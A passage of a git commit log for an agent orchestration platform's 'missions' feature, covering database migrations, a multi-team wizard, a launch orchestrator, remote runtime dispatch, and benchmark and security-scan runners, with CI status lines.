  - MissionCanvas: hasTeam now also returns true when
    mission.config.phase_teams has at least one non-empty list.
  - routes::missions::set_status: same check on the server so a
    direct API caller with only config.phase_teams also gets past
    the gate.

Directly unblocks the "we just finished the wizard, Launch is greyed
out" report. Agents materialize AFTER Launch — the button is the
trigger, not a post-condition of creation.
2026-07-21 05:26:27 -07:00
Omar Sobh b8b8cb452e missions: multi-team model — pick research + development teams
ci / frontend (push) Successful in 37s
ci / gates (push) Successful in 5s
ci / rust (push) Failing after 1m41s
ci / e2e (push) Skipped
ci / publish (push) Skipped
Directly addresses "we want to pick one or more teams to assign to a
mission, first screen research teams, next screen dev teams." A
mission now materializes N teams, each tagged with a phase purpose.

Backend:
  - 0056_mission_teams.sql — new join table
    mission_teams(mission_id, team_id, purpose). team_id PK because a
    team belongs to one mission-purpose. missions.team_id kept as
    legacy pointer to the first minted team for single-team surfaces.
  - mission_orchestrator::on_launch — reads mission.config.phase_teams
    (JSONB shape { research: [tid,...], coding: [tid,...] }), mints
    one team per (purpose, template) pair, records each in
    mission_teams, binds the first to mission.team_id. Legacy fallback:
    if config.phase_teams is absent, uses missions.team_template_id.
    Hard error if both are absent.
  - GET /api/missions/{id}/teams — returns
    [{ team_id, purpose, team_name }], sorted by created_at asc.

Frontend wizard (step 3 rewrite):
  - researchTeamIds / devTeamIds — Set<string> multi-selects
  - Reusable TeamMultiSelect component (checkbox-style cards)
  - Panels rendered conditionally by preset:
    hasResearchPhase → "Research teams" panel
    hasCodingPhase → "Development teams" panel
    neither → "Teams" panel (bench/security-only missions)
  - canNext enforces at least one pick in every visible panel
  - submit builds config.phase_teams and passes it via CreateMissionRequest
  - Review step shows both selections by name

MissionTeamTab:
  - Fetches /api/missions/{id}/teams and groups by purpose
  - Each purpose renders a section with per-team cards
  - Falls back to a single "mission" pseudo-row for legacy missions
    that only have missions.team_id (no mission_teams rows)

CreateMissionRequest no longer sends team_template_id from the wizard
— the multi-team config.phase_teams path supersedes it. The backend
still accepts team_template_id for API callers.

Verified: cargo check --workspace + tsc + eslint --quiet all green.
2026-07-20 19:25:07 -07:00
Omar Sobh 0ee689f590 missions: hard-require team template — block empty-team launches
ci / gates (push) Successful in 6s
ci / frontend (push) Successful in 37s
ci / rust (push) Successful in 3m6s
ci / e2e (push) Skipped
ci / publish (push) Successful in 4m4s
Root-cause fix for the "mission runs with zero agents" bug. Three
enforcement layers now guarantee a launched mission has a team:

  1. mission_orchestrator::on_launch — the previous
     \`return Ok(None)\` when both team_id and team_template_id are
     None is now \`return Err(...)\`. That branch was never a real
     "auto-provision later" path; it was a silent no-op that let
     the mission flip to running with nothing to run.
  2. routes::missions::set_status — the draft→running transition
     now (a) rejects with 400 when team_id + team_template_id are
     both null, and (b) runs on_launch BEFORE flipping status +
     returns 500 on failure. No more orphan "running" missions
     with no materialization.
  3. MissionWizard step 3 — removed the misleading "LLM
     auto-provision" tile (fake code path). First real template is
     pre-selected on mount; canNext requires teamTemplateId set;
     empty state surfaces a red warning if no templates loaded.
  4. MissionCanvas Launch button — disabled with a "No team" label
     and explanatory tooltip when the mission has neither team_id
     nor team_template_id (defense-in-depth for legacy rows or
     direct-API missions).

Also flipped the mission_orchestrator test that expected
Ok(None) → now expects a specific error message.

Prod cleanup: reset the stuck mission
019f814c-d36f-7d60-8915-1ce100683133 (running with team_id=NULL) back
to draft so the operator can delete or attach a template.

Verified: cargo check --workspace + tsc + eslint all green;
mission_orchestrator test updated to match new contract.
2026-07-20 15:50:24 -07:00
Omar Sobh 3ba0485e7d mission progress UI: auto-refresh + Team tab + Live events tab
ci / rust (push) Successful in 2m59s
ci / e2e (push) Skipped
ci / gates (push) Successful in 6s
ci / frontend (push) Successful in 36s
ci / publish (push) Successful in 3m9s
Fills the biggest UX gap surfaced during the deploy walk: hosted
missions had no live-progress surface at all. Now they do.

Auto-refresh:
  - MissionCanvas grows a second useEffect that polls getMission
    every 3s while mission.status === 'running'. Stops immediately
    on terminal state (completed / failed / cancelled). Phases,
    Tasks, Artifacts, Benchmarks all update without a manual click.

Team tab (new):
  - MissionTeamTab.tsx — fetches /api/teams/{id} + /api/team/claws,
    shows a card per member with role slot + an "Open" pill that
    calls onOpenClaw(clawId) → Dashboard flips to AGENT tier with
    that claw selected, dropping the operator into the existing
    ClawCommandCenter surface (WorkingOnNow, ReasoningStream, etc).

Live events tab (new):
  - MissionLiveEvents.tsx — polls /api/missions/{id}/runs every 5s
    for the topology_runs bound to this mission, opens one
    EventSource per active run against /api/topology-runs/{id}/events,
    renders as a chronological scrolling feed with per-event kind
    pills + per-run short-id badges. Auto-scrolls unless the
    operator scrolled up. New runs auto-attach; terminal runs
    close cleanly.

Backend:
  - cm-db::repo::topology_runs::list_by_mission — SELECT ... FROM
    topology_runs WHERE mission_id = $1 ORDER BY created_at DESC.
    Uses runtime sqlx::query (not the macro) to avoid a sqlx cache
    regen just for this route.
  - TopologyRunSummary gains #[derive(Serialize)] + rfc3339 codecs.
  - GET /api/missions/{id}/runs — workspace-scoped, returns
    { runs: [...] }.

Dashboard wires onOpenClaw on MissionCanvas → setAgentId + setTier("claw").

Verified: cargo check --workspace + tsc --noEmit + eslint --quiet
all green.
2026-07-20 15:31:41 -07:00
Omar Sobh d8c8793c4a ci fixes: cargo fmt, eslint entities, max-lines split
ci / gates (push) Successful in 8s
ci / frontend (push) Successful in 26s
ci / rust (push) Successful in 4m25s
ci / e2e (push) Skipped
ci / publish (push) Successful in 2m46s
CI on 6ffbe97 failed on two auto-fixable gates. Both fixed:

  * cargo fmt --all — rustfmt applied across the surface touched
    by the last ~20 commits (world.rs, security_scan.rs,
    routes/{missions,nodes,terminal}.rs, fleet_herdr.rs,
    mission_workspace.rs, benchmark_runner.rs, mission_refiner.rs,
    lib.rs, tests/mission_orchestrator.rs, cm-db/repo/{missions,teams}.rs,
    bins/clawmates-node/src/main.rs)
  * eslint apostrophe escapes in HerdrSessions + MissionWizard
  * eslint max-lines: extracted EditMissionModal + RefineDiffModal
    (each ~200 LoC) into their own files. MissionCanvas drops from
    1424 to 1026, comfortably under both the 1250 eslint cap and the
    1500 CI budget.

New files:
  frontend/src/components/dashboard/EditMissionModal.tsx  (211 LoC)
  frontend/src/components/dashboard/RefineDiffModal.tsx   (208 LoC)

Verified locally: cargo fmt --check clean, cargo check clean,
mission_orchestrator test 3/3 pass, tsc + eslint --quiet both silent.
2026-07-20 12:03:43 -07:00
Omar Sobh 2b3ec27757 herdr phase 1c: wizard runtime picker + on_launch auto-dispatch
Closes the operator loop for the second-runtime path. Missions
created with runtime='local_herdr' now spawn a Herdr pane on their
target_node automatically on draft→running.

Frontend (MissionWizard):
  - Step 4 grows a "Runtime" section above Schedule
  - Radio: "Hosted (ZeroClaw)" default | "On a fleet node (Herdr)"
  - Local-Herdr shows a dropdown of ONLINE nodes only (from
    /api/nodes filtered by status='online')
  - canNext blocks Next when local_herdr picked without a node
  - Review step shows "Runtime: Herdr on <node-name>" or "Hosted"
  - Empty-online-nodes state hints "Connect one from INFRA first"

Backend:
  - mission_orchestrator::on_launch grows a NodeHub param; when
    mission.runtime_kind='local_herdr' + target_node_id set +
    hub present → calls fleet_herdr::dispatch(). Non-fatal:
    logs and continues so a research_only mission with a Herdr
    runtime chosen accidentally still boots the team.
  - routes::missions::set_status passes state.node_hub through.
  - Test call sites updated to pass None for the new param
    (integration tests don't drive real fleet nodes).

CLI stub: on_launch currently hard-codes cli="claude" for the
Herdr pane. Phase 4 will read that from the team template so a
research team → kimi, gpu team → claude, etc.

Verified: cargo check --workspace + cargo test
-p cm-api --test mission_orchestrator + tsc --noEmit all green.
2026-07-20 10:02:40 -07:00
Omar Sobh 47f986257f herdr phase 1b: fleet_herdr dispatch module + node daemon ops
The second-runtime path uses the existing NodeHub control channel —
NOT SSH. Node daemons already accept typed ops over their outbound
websocket; adding three herdr_* ops keeps everything on the auth
model that already works fleet-wide (control-channel token, no new
SSH key management, no server-container-mounted keys).

Node daemon (clawmates-node):
  - New herdr_op handler in main.rs dispatching:
    * herdr_dispatch  — workspace create + pane split + rename + run
    * herdr_status    — pane get JSON (agent, agent_status, cwd)
    * herdr_read      — recent-unwrapped scrollback, N lines
  - Herdr binary resolved from ~/.local/bin, brew, /usr/local/bin.
    Missing binary returns clean error so cm-api can distinguish
    "node not set up for Herdr yet" from "Herdr op failed".

cm-api:
  - crates/cm-api/src/fleet_herdr.rs — dispatch / status /
    read_transcript / wait_for_completion helpers on top of
    hub.call_timeout(). wait_for_completion polls until agent_status
    hits 'done' or an idle-after-working state, matching the SKILL
    file's "either idle or done is completed" semantic.
  - routes::missions::herdr_dispatch — POST /api/missions/{id}/
    herdr-dispatch { cli, prompt }. Requires runtime_kind = 'local_herdr'
    and target_node_id set. Manual trigger so Phase 1b is exercisable
    end-to-end before Phase 1c wires the wizard + orchestrator.

Not yet wired: mission_orchestrator::on_launch still ignores
runtime_kind. Phase 1c adds the wizard picker AND the on_launch
branch that auto-dispatches on draft→running for local_herdr
missions. This commit only adds the primitives.

Verified: SQLX_OFFLINE=true cargo check --workspace green.
Phase 0 (Herdr install on fleet nodes) is the blocker to actually
exercising this end-to-end.
2026-07-20 09:49:38 -07:00
Omar Sobh d6dbd044c8 herdr phase 1a: missions runtime_kind + target_node schema
First slice of the second-runtime path. Missions now carry
runtime_kind ('zeroclaw' | 'local_herdr') + target_node_id (FK to
nodes) so the mission_orchestrator + phase executors can dispatch
differently depending on where the operator wants execution.

Migration:
  - 0055_missions_runtime_kind.sql — adds runtime_kind (NOT NULL
    DEFAULT 'zeroclaw' + CHECK), target_node_id (nullable FK ON
    DELETE SET NULL). All existing missions backfill to 'zeroclaw'
    so behavior is unchanged.
  - topology_runs also grows herdr_workspace_id / herdr_tab_id /
    herdr_pane_id text columns so a resumed run can reattach to the
    same Herdr pane instead of spawning a duplicate.

Code:
  - cm-db::repo::missions — Mission + NewMission carry the two new
    fields; all SELECTs updated; INSERT COALESCE-defaults
    runtime_kind to 'zeroclaw' when unspecified.
  - routes::missions::create — validates runtime_kind and requires
    target_node_id when kind='local_herdr' (400 otherwise).
  - lib/api/missions.ts — RuntimeKind type; Mission carries both;
    CreateMissionRequest optional fields.

Behavior is opt-in: no path exists yet to actually create a
local_herdr mission — that lands in Phase 1c (wizard picker). This
commit just makes the schema + validation in place so Phase 1b's
fleet_herdr dispatch module can key on it.

Tests: mission_orchestrator integration test still green.
2026-07-20 09:45:15 -07:00
Omar Sobh 1f0117e35a mission canvas: add / edit / delete toolbar controls
Top-right toolbar grows three CRUD controls per your request:

  - Plus (always visible) — opens MissionWizard, selects the new
    mission on create
  - Pencil (draft-only) — opens EditMissionModal for title +
    description; PATCHes /api/missions/{id}
  - Trash (always visible) — window.confirm then DELETEs; sidebar
    selection clears via new onDeleted callback

Backend:
  - cm-db::repo::missions::update_meta(id, ws, title?, description?)
    — COALESCE-based partial patch
  - cm-db::repo::missions::delete(id, ws) — hard delete, cascades
    via FKs on phases/tasks/artifacts/benchmark_snapshots
  - PATCH /api/missions/{id} (draft-only) + DELETE /api/missions/{id}

Frontend:
  - lib/api/missions — updateMission + deleteMission clients
  - MissionCanvas — three toolbar buttons, EditMissionModal
    (title + textarea for description), local wizard state
  - Dashboard — passes onSelect + onDeleted so sidebar reacts to
    create + delete without stale selection

Edit is draft-only (backend enforces + button hidden past draft) so
in-flight missions can't have their brief mutated out from under
running agents. Delete is unconditional — operator responsibility to
Cancel first if a run is live.
2026-07-20 08:32:52 -07:00
Omar Sobh ad1cee0b08 refine polish: before/after diff view + accept/cancel/restore
Refine no longer clobbers the mission description on click. Flow:
  1. Click Refine → server generates the rewrite, returns
     { original, refined } WITHOUT persisting
  2. RefineDiffModal shows a side-by-side pane (raw before,
     Markdown-rendered after)
  3. User picks:
     - Accept → PATCH /api/missions/{id}/description commits refined
     - Cancel → discards the proposal, description unchanged
     - Restore original → forces a write of `original` (undo path
       for accidentally-accepted refines, since Accept+Cancel is
       still a two-step confirmation)

Backend:
  - mission_refiner::refine returns a RefineResult { original, refined }
    struct instead of persisting + returning the text
  - routes::missions::refine now returns { original, refined }
  - routes::missions::set_description added on PATCH
    /api/missions/{id}/description (draft-only)

Frontend:
  - lib/api/missions — refineMission return type is now RefineResult;
    added setMissionDescription
  - MissionCanvas — RefineDiffModal + DiffPane subcomponents;
    accept / cancel / restore handlers wired to state

Closes task #20.
2026-07-19 18:46:14 -07:00
Omar Sobh 56201a6985 mission canvas: add Refine button + markdown-rendered description
Adds a Refine button to the left of Refresh + Launch on the mission
detail toolbar (draft-only). Clicking it POSTs to a new endpoint that
calls Gemini 2.5 Flash to rewrite the user's freeform description into
a coherent, sectioned Markdown brief (Objective / Context / Scope /
Constraints / Acceptance Criteria / Open Questions) ready for the
research + coding agents to ingest cleanly.

Backend:
  - crates/cm-api/src/mission_refiner.rs — Gemini call with a
    system prompt that preserves user-provided facts, avoids
    invention, and emits raw markdown (not JSON).
  - POST /api/missions/{id}/refine — draft-only, 400 on empty
    description or non-draft state.
  - cm-db::repo::missions::set_description helper.

Frontend:
  - MarkdownBlock — tiny zero-dep renderer for h1/h2/h3, bullet +
    numbered lists, **bold**, `code`, paragraphs. Deliberately
    small; the refiner emits a bounded subset.
  - MissionCanvas — Refine button (Sparkles icon, secondary style)
    to the left of Refresh; description now renders through
    MarkdownBlock instead of a single <p>. Disabled while
    description is empty or a refine is in flight.
  - lib/api/missions — refineMission client.
2026-07-19 17:20:34 -07:00
Omar SobhandClaude Opus 4.7 58963d5083 slice 8: security scan runner + trigger endpoint
ci / frontend (push) Successful in 27s
ci / rust (push) Successful in 4m28s
ci / e2e (push) Skipped
ci / publish (push) Successful in 2m47s
ci / gates (push) Successful in 3s
Runs the security template's tool set (cargo-audit / gitleaks /
trivy fs / semgrep) inside the mission's team container and
materializes each finding as a mission_task keyed on the tool's
canonical id. The subsequent coding phase picks up the tasks and
applies remediations; the committer closes them by emitting
`COMPLETED: <external_id>` (Slice 5's task-card parser handles it).

Rust surface:
  - cm_api::security_scan::run(mission_id, phase_id)
  - Per-tool runners with JSON output parsing:
      cargo audit --json          → vulnerabilities[].advisory.id
      gitleaks detect --report-format=json → [{ Fingerprint, RuleID }]
      trivy fs --format=json      → Results[].Vulnerabilities[].VulnerabilityID
      semgrep --config=auto --json → results[] w/ rule+path+line fingerprint
  - Tool errors surface as a `warning` task instead of failing the
    scan — operator sees which need installing/fixing without a
    silent no-op.
  - Findings map to mission_tasks with external_id = "<tool>:<id>"
    (e.g. cargo_audit:RUSTSEC-2024-0001, gitleaks:<sha>,
    trivy_fs:CVE-2024-1234, semgrep:<rule>@<file>:<line>).

API:
  - POST /api/missions/{id}/security-scan { phase_id }
    → { findings, tasks[] } — full task list after upsert so the
    canvas can render immediately.

Frontend:
  - triggerSecurityScan helper in lib/api/missions.ts. Findings
    show up in the existing Tasks tab (Slice 5's UPSERT path).

Container requirements (opt-in):
  - Runs inside the team container via `docker exec`, so the tools
    must be present in that image. Missing = warning task, not fail.
  - `-w /workspace/repo` so scanners see the mounted repo. Reads
    teams.zeroclaw_container (populated on first phase run).

Follow-ups:
  - MCP bundle wrapping the same tools as agent-callable functions
    (currently agents scan by shelling out to `cargo audit` etc.
    directly; a typed MCP wrap lands with clean audit trail).
  - Auto-fire from the security_hardening workflow template on
    phase transition (currently manual via API trigger).
  - Bundle the four tools into the runtime image (or a dedicated
    security-tools image) so operators don't have to install them.

Co-Authored-By: Claude Opus 4.7 <[email protected]>
2026-07-19 16:19:29 -07:00
Omar SobhandClaude Opus 4.7 f843c9ddb1 slice 7: before/after benchmark runner
ci / frontend (push) Successful in 26s
ci / publish (push) Successful in 4m52s
ci / gates (push) Successful in 4s
ci / rust (push) Successful in 4m19s
ci / e2e (push) Skipped
Executes a benchmark harness inside the mission's team container
and records the resulting metrics as a benchmark_snapshots row keyed
on (phase_id, iteration). Baseline pass (iteration=0) captures
before_metrics; each post-iteration call captures after_metrics +
computes delta vs baseline.

Rust surface:
  - cm_db::repo::missions::upsert_benchmark_snapshot / benchmark_snapshots_for
  - cm_api::benchmark_runner::{baseline, after_iteration, run}
  - Harness enum: Auto | Criterion | CargoBench | VitestBench |
    PytestBench | Shell (each with a command() vector)
  - Auto detection peeks at the repo layout inside the container
    (Cargo.toml → CargoBench, package.json → VitestBench, pyproject
    → PytestBench). Falls back to a Shell echo when nothing
    identifiable.
  - Bencher-format line parser extracts (name, ns_per_iter,
    plusminus) so criterion + `cargo bench` output become structured
    samples the canvas can diff.
  - compute_delta pairs samples by name, emits {before_ns, after_ns,
    delta_pct, direction: improved|regressed}.

API:
  - POST /api/missions/{id}/benchmark { phase_id, slot, iteration? }
    triggers baseline or after run and returns the mission's full
    snapshot list.
  - GET /api/missions/{id} now includes `benchmarks[]` in the detail
    payload.

Frontend:
  - New Benchmarks tab on MissionCanvas with iteration + driver
    header, plus a 4-column grid (bench / before / after / Δ%) when
    delta samples are present. Improved deltas render green,
    regressions red.
  - TS types + triggerBenchmark() helper in lib/api/missions.ts.

Wiring notes:
  - team_container_for_mission reads teams.zeroclaw_container — that's
    populated by topology_worker::try_team_gateway_url on first run,
    so trigger baseline AFTER the mission's first phase spawns the
    container.
  - Not auto-fired yet by phase execution; that's the "template phase
    executor" work that spans Slices 4-8. Manual API trigger works
    today; automated hook is a follow-up.

Co-Authored-By: Claude Opus 4.7 <[email protected]>
2026-07-19 15:32:47 -07:00
Omar SobhandClaude Opus 4.7 565f6cae65 slice 4: 5 workflow templates as TOML recipes + mission-launch orchestrator
ci / gates (push) Successful in 4s
ci / frontend (push) Successful in 26s
ci / rust (push) Successful in 4m20s
ci / e2e (push) Skipped
ci / publish (push) Successful in 3m50s
Two things land together:

1. Ships the 5 workflow recipes as TOML files under
   templates/workflows/*.toml:
     - research_only          (hub_spoke research → MD + PDF)
     - research_and_code      (research → coding loop until INT-XX drained)
     - security_hardening     (scan → research patches → coding with
                               reviewer approval + full MCP bundle)
     - refactor               (single-pass coding with dep audit
                               preamble + before/after benchmarks)
     - benchmark              (author + baseline benchmarks per stack)
   Each declares phases[], per-phase config, default_team_template.
   Loaded read-only into an in-memory registry (workflow_registry)
   via OnceLock — no DB row per recipe.

2. Ships the mission-launch orchestrator that closes the loop from
   Slice 3.5d's mechanics. When a mission transitions draft→running,
   `mission_orchestrator::on_launch`:
     - Reads mission.team_template_id (skips if unset)
     - Loads the team template detail (roles + skills bindings)
     - Builds a topology graph from role slots via cm_topology::build
     - Inserts the teams row + stamps template_id/version/risk_profile/mcp_bundles
     - For each role: agent insert, model binding, runtime provision
       (opt-in via RuntimeProvisioner::from_env), brain_seed::ingest
       (Slice 3.5d), agent_template_link::upsert (Slice 3.5d),
       team_members bind, audit trail
     - UPDATE missions SET team_id = ...
   Wired into routes::missions::set_status when prior.status='draft'
   and new='running'. Failures log + are non-fatal (mission still
   flips to running so the user can inspect + retry).

With this, Slice 3.5d's brain-seed + link machinery actually gets
populated, and the MCP skills server's template-defaults-merge path
(Slice 3.5b/d) starts serving real bindings to real agents.

Follow-ups (Slice 5-8):
  - Task-card parser watches run events for TASK/COMPLETED markers
    → mission_tasks rows
  - PDF renderer worker turns MD artifacts into PDFs
  - Before/after benchmark runner honors phases[].config.benchmark
  - Security scan MCP bundle exposes cargo-audit/gitleaks/trivy/semgrep
  - Level-up endpoints diff learned-vs-seeded via agent_template_link

Co-Authored-By: Claude Opus 4.7 <[email protected]>
2026-07-19 14:34:26 -07:00
Omar Sobh a72da9dff0 fmt: apply cargo fmt to missions
ci / gates (push) Successful in 4s
ci / frontend (push) Successful in 26s
ci / rust (push) Successful in 4m11s
ci / e2e (push) Skipped
ci / publish (push) Successful in 2m18s
2026-07-19 11:42:06 -07:00
Omar SobhandClaude Opus 4.7 fbefc67878 slice 1: missions data model + migration
ci / gates (push) Successful in 6s
ci / rust (push) Failing after 9s
ci / frontend (push) Successful in 25s
ci / e2e (push) Skipped
ci / publish (push) Skipped
Introduce the unified `missions` tier that will replace the current
research_topics + loops split. This slice ships the data model +
backfill + skeleton REST surface; the old wizards keep working in
parallel until Slice 9's big-bang cutover.

Migration 0047 adds:
  - missions              (top-level workflow: template_kind + team +
                           schedule + status + config)
  - mission_phases        (ordered {research|coding|benchmark|
                           security_scan} phases per mission)
  - mission_tasks         (typed units of work, e.g. INT-XX cards,
                           UPSERT-keyed on (phase_id, external_id))
  - mission_artifacts     (MD/PDF/benchmark/security/diff files with
                           a pending queue for the PDF renderer worker)
  - benchmark_snapshots   (before/after pairs per iteration)

Backfill copies existing research_topics + loops rows into the new
tables as one-shot missions with the appropriate template_kind, so
Slice 2's UI can render the full history immediately.

New Rust surface:
  - cm_domain: MissionId, MissionPhaseId, MissionTaskId, MissionArtifactId
  - cm_db::repo::missions: Mission/MissionPhase/MissionTask/
    MissionArtifact structs + insert (txn-wrapped)/get/list/set_status/
    phases_for/set_phase_status/upsert_task/tasks_for/register_artifact/
    artifacts_for/next_pdf_pending/set_pdf_result
  - cm_api::routes::missions: skeleton list/create/get/set_status
    routes registered at /api/missions/*

Follow-up slices layer richer behavior (template dispatch, phase
execution, task parsing, artifact rendering) on this foundation.

Co-Authored-By: Claude Opus 4.7 <[email protected]>
2026-07-19 11:40:51 -07:00